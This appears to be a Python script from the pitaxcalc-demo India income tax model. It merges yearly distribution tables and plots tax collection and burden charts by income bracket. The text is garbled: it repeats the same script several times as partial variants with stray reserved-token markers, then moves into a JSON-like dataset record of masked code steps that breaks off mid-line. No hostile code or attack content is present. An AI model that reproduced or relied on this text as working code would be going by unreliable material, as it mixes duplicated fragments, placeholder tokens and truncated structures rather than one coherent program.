clp_pitax_list, linestyle='-', marker='o', color='b', label ='Current Law', linewidth=2.0) plt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r', label='Reform', linewidth=2.0) plt.legend(loc='best') plt.savefig('Total_collection_PIT.png') plt.show() <|reserved_special_token_0|> plt.rcdefaults() <|reserved_special_token_0|> ax.bar(x_pos, pitax_diff_list, color='green') ax.set_xticks(x_pos) ax.set_xticklabels(pitax_inc_brac_list) ax.set_ylabel('Rupees') ax.set_xlabel('Income Bracket') ax.invert_yaxis() ax.set_title('Change in Average Tax Burden Due to Reform in 2020') plt.savefig('Average Tax Burden Change.png') plt.show() <|reserved_special_token_0|> ax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%', shadow=False, startangle=90) ax.axis('equal') plt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight='bold') ax.set_title('Current Law', fontsize=16, fontweight='bold') plt.savefig('Contribution to total PIT.png') plt.show() <|reserved_special_token_0|> plt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight='bold') ax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%', shadow=False, startangle=90) ax1.axis('equal') ax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list, autopct='%1.1f%%', shadow=False, startangle=90) ax2.axis('equal') ax1.set_title('Current Law', fontweight='bold') ax2.set_title('Reform', fontweight='bold') plt.savefig('Contribution to total PIT - Before and After Reform.png') plt.show() <|reserved_special_token_1|> <|reserved_special_token_0|> START_YEAR = 2017 END_YEAR = 2023 BASE_YEAR = 2019 year = START_YEAR a = {} for year in range(BASE_YEAR, END_YEAR + 1): filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt' df1 = pd.read_fwf(filename1) df1.drop('Unnamed: 0', axis=1, inplace=True) col_list = df1.columns[1:] + '_avg_clp_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df1.columns = col_list filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt' df2 = pd.read_fwf(filename2) df2.drop('Unnamed: 0', axis=1, inplace=True) col_list = df2.columns[1:] + '_total_clp_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df2.columns = col_list a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket') filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt' df3 = pd.read_fwf(filename3) df3.drop('Unnamed: 0', axis=1, inplace=True) col_list = df3.columns[1:] + '_avg_ref_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df3.columns = col_list a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket') filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt' df4 = pd.read_fwf(filename4) df4.drop('Unnamed: 0', axis=1, inplace=True) col_list = df4.columns[1:] + '_total_ref_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df4.columns = col_list a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket') df = a[BASE_YEAR] for year in range(BASE_YEAR + 1, END_YEAR + 1): df = pd.merge(df, a[year], how='inner', on='Income_Bracket') df.set_index('Income_Bracket', inplace=True) df.to_csv('dist-table-all-years.csv', index=True) df = pd.read_csv('dist-table-all-years.csv') df.set_index('Income_Bracket', inplace=True) df_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')] ] df_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')] ] clp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist() clp_pitax_list = [float(i.replace(',', '')) for i in clp_pitax_list] clp_pitax_list = [round(elem, 0) for elem in clp_pitax_list] ref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist() ref_pitax_list = [float(i.replace(',', '')) for i in ref_pitax_list] ref_pitax_list = [round(elem, 0) for elem in ref_pitax_list] years = [x[-4:] for x in list(df_pit_totals_clp.columns)] plt.style.use('seaborn-whitegrid') fig = plt.figure() <|reserved_special_token_0|> plt.title('Estimated Tax Collection') plt.xlabel('Year') plt.ylabel('Tax Collection in lakh Cr.') <|reserved_special_token_0|> plt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label ='Current Law', linewidth=2.0) plt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r', label='Reform', linewidth=2.0) plt.legend(loc='best') plt.savefig('Total_collection_PIT.png') plt.show() year = 2020 df_pitax_diff = df['pitax_diff_avg_ref_' + str(year)] df_pitax_diff = df_pitax_diff[:-1] df_pitax_diff = df_pitax_diff[2:] df_pitax_diff = df_pitax_diff.reset_index() pitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist() pitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_' + str(year)].tolist() pitax_diff_list = [float(i.replace(',', '')) for i in pitax_diff_list] plt.rcdefaults() fig, ax = plt.subplots(figsize=(8, 5)) x_pos = np.arange(len(pitax_inc_brac_list)) ax.bar(x_pos, pitax_diff_list, color='green') ax.set_xticks(x_pos) ax.set_xticklabels(pitax_inc_brac_list) ax.set_ylabel('Rupees') ax.set_xlabel('Income Bracket') ax.invert_yaxis() ax.set_title('Change in Average Tax Burden Due to Reform in 2020') plt.savefig('Average Tax Burden Change.png') plt.show() year = 2020 df_pitax_tot_clp = df['pitax_total_clp_' + str(year)] df_pitax_tot_clp = df_pitax_tot_clp[:-1] df_pitax_tot_clp = df_pitax_tot_clp[2:] df_pitax_tot_clp = df_pitax_tot_clp.reset_index() pitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist() pitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_' + str(year)].tolist() pitax_tot_list_clp = [float(i.replace(',', '')) for i in pitax_tot_list_clp] pitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp] fig, ax = plt.subplots(figsize=(10, 10)) explode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0 ax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%', shadow=False, startangle=90) ax.axis('equal') plt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight='bold') ax.set_title('Current Law', fontsize=16, fontweight='bold') plt.savefig('Contribution to total PIT.png') plt.show() year = 2020 df_pitax_tot = df['pitax_total_ref_' + str(year)] df_pitax_tot = df_pitax_tot[:-1] df_pitax_tot = df_pitax_tot[2:] df_pitax_tot = df_pitax_tot.reset_index() pitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist() pitax_tot_list = df_pitax_tot['pitax_total_ref_' + str(year)].tolist() pitax_tot_list = [float(i.replace(',', '')) for i in pitax_tot_list] pitax_tot_list = [round(elem) for elem in pitax_tot_list] fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 5)) explode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0 plt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight='bold') ax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%', shadow=False, startangle=90) ax1.axis('equal') ax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list, autopct='%1.1f%%', shadow=False, startangle=90) ax2.axis('equal') ax1.set_title('Current Law', fontweight='bold') ax2.set_title('Reform', fontweight='bold') plt.savefig('Contribution to total PIT - Before and After Reform.png') plt.show() <|reserved_special_token_1|> <|reserved_special_token_0|> import pandas as pd from taxcalc import * import numpy as np from babel.numbers import format_currency import matplotlib.pyplot as plt from matplotlib.gridspec import GridSpec START_YEAR = 2017 END_YEAR = 2023 BASE_YEAR = 2019 year = START_YEAR a = {} for year in range(BASE_YEAR, END_YEAR + 1): filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt' df1 = pd.read_fwf(filename1) df1.drop('Unnamed: 0', axis=1, inplace=True) col_list = df1.columns[1:] + '_avg_clp_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df1.columns = col_list filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt' df2 = pd.read_fwf(filename2) df2.drop('Unnamed: 0', axis=1, inplace=True) col_list = df2.columns[1:] + '_total_clp_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df2.columns = col_list a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket') filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt' df3 = pd.read_fwf(filename3) df3.drop('Unnamed: 0', axis=1, inplace=True) col_list = df3.columns[1:] + '_avg_ref_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df3.columns = col_list a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket') filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt' df4 = pd.read_fwf(filename4) df4.drop('Unnamed: 0', axis=1, inplace=True) col_list = df4.columns[1:] + '_total_ref_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df4.columns = col_list a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket') df = a[BASE_YEAR] for year in range(BASE_YEAR + 1, END_YEAR + 1): df = pd.merge(df, a[year], how='inner', on='Income_Bracket') df.set_index('Income_Bracket', inplace=True) df.to_csv('dist-table-all-years.csv', index=True) df = pd.read_csv('dist-table-all-years.csv') df.set_index('Income_Bracket', inplace=True) df_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')] ] df_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')] ] clp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist() clp_pitax_list = [float(i.replace(',', '')) for i in clp_pitax_list] clp_pitax_list = [round(elem, 0) for elem in clp_pitax_list] ref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist() ref_pitax_list = [float(i.replace(',', '')) for i in ref_pitax_list] ref_pitax_list = [round(elem, 0) for elem in ref_pitax_list] years = [x[-4:] for x in list(df_pit_totals_clp.columns)] plt.style.use('seaborn-whitegrid') fig = plt.figure() <|reserved_special_token_0|> plt.title('Estimated Tax Collection') plt.xlabel('Year') plt.ylabel('Tax Collection in lakh Cr.') <|reserved_special_token_0|> plt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label ='Current Law', linewidth=2.0) plt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r', label='Reform', linewidth=2.0) plt.legend(loc='best') plt.savefig('Total_collection_PIT.png') plt.show() year = 2020 df_pitax_diff = df['pitax_diff_avg_ref_' + str(year)] df_pitax_diff = df_pitax_diff[:-1] df_pitax_diff = df_pitax_diff[2:] df_pitax_diff = df_pitax_diff.reset_index() pitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist() pitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_' + str(year)].tolist() pitax_diff_list = [float(i.replace(',', '')) for i in pitax_diff_list] plt.rcdefaults() fig, ax = plt.subplots(figsize=(8, 5)) x_pos = np.arange(len(pitax_inc_brac_list)) ax.bar(x_pos, pitax_diff_list, color='green') ax.set_xticks(x_pos) ax.set_xticklabels(pitax_inc_brac_list) ax.set_ylabel('Rupees') ax.set_xlabel('Income Bracket') ax.invert_yaxis() ax.set_title('Change in Average Tax Burden Due to Reform in 2020') plt.savefig('Average Tax Burden Change.png') plt.show() year = 2020 df_pitax_tot_clp = df['pitax_total_clp_' + str(year)] df_pitax_tot_clp = df_pitax_tot_clp[:-1] df_pitax_tot_clp = df_pitax_tot_clp[2:] df_pitax_tot_clp = df_pitax_tot_clp.reset_index() pitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist() pitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_' + str(year)].tolist() pitax_tot_list_clp = [float(i.replace(',', '')) for i in pitax_tot_list_clp] pitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp] fig, ax = plt.subplots(figsize=(10, 10)) explode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0 ax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%', shadow=False, startangle=90) ax.axis('equal') plt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight='bold') ax.set_title('Current Law', fontsize=16, fontweight='bold') plt.savefig('Contribution to total PIT.png') plt.show() year = 2020 df_pitax_tot = df['pitax_total_ref_' + str(year)] df_pitax_tot = df_pitax_tot[:-1] df_pitax_tot = df_pitax_tot[2:] df_pitax_tot = df_pitax_tot.reset_index() pitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist() pitax_tot_list = df_pitax_tot['pitax_total_ref_' + str(year)].tolist() pitax_tot_list = [float(i.replace(',', '')) for i in pitax_tot_list] pitax_tot_list = [round(elem) for elem in pitax_tot_list] fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 5)) explode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0 plt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight='bold') ax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%', shadow=False, startangle=90) ax1.axis('equal') ax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list, autopct='%1.1f%%', shadow=False, startangle=90) ax2.axis('equal') ax1.set_title('Current Law', fontweight='bold') ax2.set_title('Reform', fontweight='bold') plt.savefig('Contribution to total PIT - Before and After Reform.png') plt.show() <|reserved_special_token_1|> """ app_dist_Tables00.py illustrates use of pitaxcalc-demo release 2.0.0 (India version). USAGE: python app_dist_Tables00.py """ import pandas as pd from taxcalc import * import numpy as np from babel.numbers import format_currency import matplotlib.pyplot as plt from matplotlib.gridspec import GridSpec # Generate Charts # first merge the files START_YEAR = 2017 END_YEAR = 2023 BASE_YEAR = 2019 year = START_YEAR a={} for year in range(BASE_YEAR, END_YEAR+1): filename1='dist-table-all-clp-avg-'+str(year)+'.txt' df1 = pd.read_fwf(filename1) df1.drop('Unnamed: 0',axis=1,inplace=True) col_list = df1.columns[1:] + '_avg_clp_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df1.columns = col_list filename2='dist-table-all-clp-total-'+str(year)+'.txt' df2 = pd.read_fwf(filename2) df2.drop('Unnamed: 0',axis=1,inplace=True) col_list = df2.columns[1:] + '_total_clp_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df2.columns = col_list a[year] = pd.merge(df1, df2, how="inner", on="Income_Bracket") filename3='dist-table-all-ref-avg-'+str(year)+'.txt' df3 = pd.read_fwf(filename3) df3.drop('Unnamed: 0',axis=1,inplace=True) col_list = df3.columns[1:] + '_avg_ref_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df3.columns = col_list a[year] = pd.merge(a[year], df3, how="inner", on="Income_Bracket") filename4='dist-table-all-ref-total-'+str(year)+'.txt' df4 = pd.read_fwf(filename4) df4.drop('Unnamed: 0',axis=1,inplace=True) col_list = df4.columns[1:] + '_total_ref_' + str(year) col_list = col_list.insert(0, 'Income_Bracket') df4.columns = col_list a[year] = pd.merge(a[year], df4, how="inner", on="Income_Bracket") df=a[BASE_YEAR] for year in range(BASE_YEAR+1, END_YEAR+1): df = pd.merge(df, a[year], how="inner", on="Income_Bracket") df.set_index('Income_Bracket', inplace=True) df.to_csv('dist-table-all-years.csv', index=True) df = pd.read_csv('dist-table-all-years.csv') df.set_index('Income_Bracket', inplace=True) df_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')]] df_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')]] clp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist() clp_pitax_list = [float(i.replace(',','')) for i in clp_pitax_list] clp_pitax_list = [round(elem, 0) for elem in clp_pitax_list ] ref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist() ref_pitax_list = [float(i.replace(',','')) for i in ref_pitax_list] ref_pitax_list = [round(elem, 0) for elem in ref_pitax_list ] years = [x[-4:] for x in list(df_pit_totals_clp.columns)] plt.style.use('seaborn-whitegrid') fig = plt.figure() """ ax = plt.axes() ax.plot(x, np.sin(x)) ax.set(xlim=(0, 10), ylim=(-2, 2), xlabel='x', ylabel='sin(x)', title='A Simple Plot') """ #plt.axis([2017, 2021, 150000, 400000]) plt.title("Estimated Tax Collection") plt.xlabel("Year") plt.ylabel("Tax Collection in lakh Cr."); """ print(year) print(clp_pitax_list) print(ref_pitax_list) """ plt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label='Current Law', linewidth=2.0) plt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r', label='Reform', linewidth=2.0) plt.legend(loc='best') plt.savefig('Total_collection_PIT.png') plt.show() # generating bar chart for difference in average tax burden due to reform # for 2020 - the first year of reform year = 2020 df_pitax_diff = df['pitax_diff_avg_ref_'+str(year)] df_pitax_diff = df_pitax_diff[:-1] df_pitax_diff = df_pitax_diff[2:] df_pitax_diff = df_pitax_diff.reset_index() pitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist() pitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_'+str(year)].tolist() pitax_diff_list = [float(i.replace(',','')) for i in pitax_diff_list] plt.rcdefaults() #plt.style.use('seaborn-whitegrid') fig, ax = plt.subplots(figsize=(8, 5)) # Example data x_pos = np.arange(len(pitax_inc_brac_list)) ax.bar(x_pos, pitax_diff_list, color='green') ax.set_xticks(x_pos) ax.set_xticklabels(pitax_inc_brac_list) #ax.invert_yaxis() # labels read top-to-bottom ax.set_ylabel('Rupees') ax.set_xlabel('Income Bracket') ax.invert_yaxis() ax.set_title('Change in Average Tax Burden Due to Reform in 2020') plt.savefig('Average Tax Burden Change.png') plt.show() # generating pie chart for contribution of tax by different income groups # for 2020 - the first year of reform year = 2020 df_pitax_tot_clp = df['pitax_total_clp_'+str(year)] df_pitax_tot_clp = df_pitax_tot_clp[:-1] df_pitax_tot_clp = df_pitax_tot_clp[2:] df_pitax_tot_clp = df_pitax_tot_clp.reset_index() pitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist() pitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_'+str(year)].tolist() pitax_tot_list_clp = [float(i.replace(',','')) for i in pitax_tot_list_clp] pitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp ] fig, ax = plt.subplots(figsize=(10, 10)) # only "explode" the 5th slice (contributing to max revenue) explode = (0, 0, 0, 0, 0.1, 0, 0, 0, 0) ax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%', shadow=False, startangle=90) ax.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle. plt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight="bold") ax.set_title('Current Law', fontsize=16, fontweight="bold") plt.savefig('Contribution to total PIT.png') plt.show() # generating pie chart for comparing contribution of tax by # different income groups for clp and reform for 2020 - the first year of reform year = 2020 df_pitax_tot = df['pitax_total_ref_'+str(year)] df_pitax_tot = df_pitax_tot[:-1] df_pitax_tot = df_pitax_tot[2:] df_pitax_tot = df_pitax_tot.reset_index() pitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist() pitax_tot_list = df_pitax_tot['pitax_total_ref_'+str(year)].tolist() pitax_tot_list = [float(i.replace(',','')) for i in pitax_tot_list] pitax_tot_list = [round(elem) for elem in pitax_tot_list ] fig, (ax1, ax2) = plt.subplots(1,2, figsize=(10, 5)) #fig, ax = plt.subplots(figsize=(10, 5)) #the_grid = GridSpec(2, 2) # only "explode" the 5th slice (contributing to max revenue) explode = (0, 0, 0, 0, 0.1, 0, 0, 0, 0) #plt.subplot(the_grid[1, 0], aspect=1) plt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight="bold") ax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%', shadow=False, startangle=90) ax1.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle. #plt.subplot(the_grid[0, 1], aspect=1) ax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list, autopct='%1.1f%%', shadow=False, startangle=90) ax2.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle. ax1.set_title('Current Law', fontweight="bold") ax2.set_title('Reform', fontweight="bold") plt.savefig('Contribution to total PIT - Before and After Reform.png') plt.show()
flexible
{ "blob_id": "c3967ab15b8278d958fa5ff6ff48bbfb0b086238", "index": 3729, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor year in range(BASE_YEAR, END_YEAR + 1):\n filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt'\n df1 = pd.read_fwf(filename1)\n df1.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df1.columns[1:] + '_avg_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df1.columns = col_list\n filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt'\n df2 = pd.read_fwf(filename2)\n df2.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df2.columns[1:] + '_total_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df2.columns = col_list\n a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket')\n filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt'\n df3 = pd.read_fwf(filename3)\n df3.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df3.columns[1:] + '_avg_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df3.columns = col_list\n a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket')\n filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt'\n df4 = pd.read_fwf(filename4)\n df4.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df4.columns[1:] + '_total_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df4.columns = col_list\n a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket')\n<mask token>\nfor year in range(BASE_YEAR + 1, END_YEAR + 1):\n df = pd.merge(df, a[year], how='inner', on='Income_Bracket')\ndf.set_index('Income_Bracket', inplace=True)\ndf.to_csv('dist-table-all-years.csv', index=True)\n<mask token>\ndf.set_index('Income_Bracket', inplace=True)\n<mask token>\nplt.style.use('seaborn-whitegrid')\n<mask token>\nplt.title('Estimated Tax Collection')\nplt.xlabel('Year')\nplt.ylabel('Tax Collection in lakh Cr.')\n<mask token>\nplt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label\n ='Current Law', linewidth=2.0)\nplt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r',\n label='Reform', linewidth=2.0)\nplt.legend(loc='best')\nplt.savefig('Total_collection_PIT.png')\nplt.show()\n<mask token>\nplt.rcdefaults()\n<mask token>\nax.bar(x_pos, pitax_diff_list, color='green')\nax.set_xticks(x_pos)\nax.set_xticklabels(pitax_inc_brac_list)\nax.set_ylabel('Rupees')\nax.set_xlabel('Income Bracket')\nax.invert_yaxis()\nax.set_title('Change in Average Tax Burden Due to Reform in 2020')\nplt.savefig('Average Tax Burden Change.png')\nplt.show()\n<mask token>\nax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax.axis('equal')\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax.set_title('Current Law', fontsize=16, fontweight='bold')\nplt.savefig('Contribution to total PIT.png')\nplt.show()\n<mask token>\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax1.axis('equal')\nax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax2.axis('equal')\nax1.set_title('Current Law', fontweight='bold')\nax2.set_title('Reform', fontweight='bold')\nplt.savefig('Contribution to total PIT - Before and After Reform.png')\nplt.show()\n", "step-3": "<mask token>\nSTART_YEAR = 2017\nEND_YEAR = 2023\nBASE_YEAR = 2019\nyear = START_YEAR\na = {}\nfor year in range(BASE_YEAR, END_YEAR + 1):\n filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt'\n df1 = pd.read_fwf(filename1)\n df1.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df1.columns[1:] + '_avg_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df1.columns = col_list\n filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt'\n df2 = pd.read_fwf(filename2)\n df2.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df2.columns[1:] + '_total_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df2.columns = col_list\n a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket')\n filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt'\n df3 = pd.read_fwf(filename3)\n df3.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df3.columns[1:] + '_avg_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df3.columns = col_list\n a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket')\n filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt'\n df4 = pd.read_fwf(filename4)\n df4.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df4.columns[1:] + '_total_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df4.columns = col_list\n a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket')\ndf = a[BASE_YEAR]\nfor year in range(BASE_YEAR + 1, END_YEAR + 1):\n df = pd.merge(df, a[year], how='inner', on='Income_Bracket')\ndf.set_index('Income_Bracket', inplace=True)\ndf.to_csv('dist-table-all-years.csv', index=True)\ndf = pd.read_csv('dist-table-all-years.csv')\ndf.set_index('Income_Bracket', inplace=True)\ndf_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')]\n ]\ndf_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')]\n ]\nclp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist()\nclp_pitax_list = [float(i.replace(',', '')) for i in clp_pitax_list]\nclp_pitax_list = [round(elem, 0) for elem in clp_pitax_list]\nref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist()\nref_pitax_list = [float(i.replace(',', '')) for i in ref_pitax_list]\nref_pitax_list = [round(elem, 0) for elem in ref_pitax_list]\nyears = [x[-4:] for x in list(df_pit_totals_clp.columns)]\nplt.style.use('seaborn-whitegrid')\nfig = plt.figure()\n<mask token>\nplt.title('Estimated Tax Collection')\nplt.xlabel('Year')\nplt.ylabel('Tax Collection in lakh Cr.')\n<mask token>\nplt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label\n ='Current Law', linewidth=2.0)\nplt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r',\n label='Reform', linewidth=2.0)\nplt.legend(loc='best')\nplt.savefig('Total_collection_PIT.png')\nplt.show()\nyear = 2020\ndf_pitax_diff = df['pitax_diff_avg_ref_' + str(year)]\ndf_pitax_diff = df_pitax_diff[:-1]\ndf_pitax_diff = df_pitax_diff[2:]\ndf_pitax_diff = df_pitax_diff.reset_index()\npitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist()\npitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_' + str(year)].tolist()\npitax_diff_list = [float(i.replace(',', '')) for i in pitax_diff_list]\nplt.rcdefaults()\nfig, ax = plt.subplots(figsize=(8, 5))\nx_pos = np.arange(len(pitax_inc_brac_list))\nax.bar(x_pos, pitax_diff_list, color='green')\nax.set_xticks(x_pos)\nax.set_xticklabels(pitax_inc_brac_list)\nax.set_ylabel('Rupees')\nax.set_xlabel('Income Bracket')\nax.invert_yaxis()\nax.set_title('Change in Average Tax Burden Due to Reform in 2020')\nplt.savefig('Average Tax Burden Change.png')\nplt.show()\nyear = 2020\ndf_pitax_tot_clp = df['pitax_total_clp_' + str(year)]\ndf_pitax_tot_clp = df_pitax_tot_clp[:-1]\ndf_pitax_tot_clp = df_pitax_tot_clp[2:]\ndf_pitax_tot_clp = df_pitax_tot_clp.reset_index()\npitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist()\npitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_' + str(year)].tolist()\npitax_tot_list_clp = [float(i.replace(',', '')) for i in pitax_tot_list_clp]\npitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp]\nfig, ax = plt.subplots(figsize=(10, 10))\nexplode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0\nax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax.axis('equal')\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax.set_title('Current Law', fontsize=16, fontweight='bold')\nplt.savefig('Contribution to total PIT.png')\nplt.show()\nyear = 2020\ndf_pitax_tot = df['pitax_total_ref_' + str(year)]\ndf_pitax_tot = df_pitax_tot[:-1]\ndf_pitax_tot = df_pitax_tot[2:]\ndf_pitax_tot = df_pitax_tot.reset_index()\npitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist()\npitax_tot_list = df_pitax_tot['pitax_total_ref_' + str(year)].tolist()\npitax_tot_list = [float(i.replace(',', '')) for i in pitax_tot_list]\npitax_tot_list = [round(elem) for elem in pitax_tot_list]\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 5))\nexplode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax1.pie(pitax_tot_list_clp, explode=explode, 